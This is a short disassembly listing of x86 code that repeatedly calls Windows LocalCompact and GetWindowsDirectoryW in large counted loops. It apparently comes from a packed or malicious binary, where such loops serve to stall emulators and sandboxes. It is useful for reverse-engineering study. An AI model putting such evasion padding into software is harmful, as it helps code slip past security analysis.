call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0xd2ced2
jg 0x401a70
inc edi
cmp edi, 0x263ff
jl 0x401a2d
mov eax, dword [0x43a574]
mov dword [0x282843c], eax
call fcn.00401753
mov edi, 0x3078f
cmp dword [0x282843c], 0x51f
jne 0x401a9e
push esi
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x401a84
pop edi
xor eax, eax
pop esi
leave
ret 0x10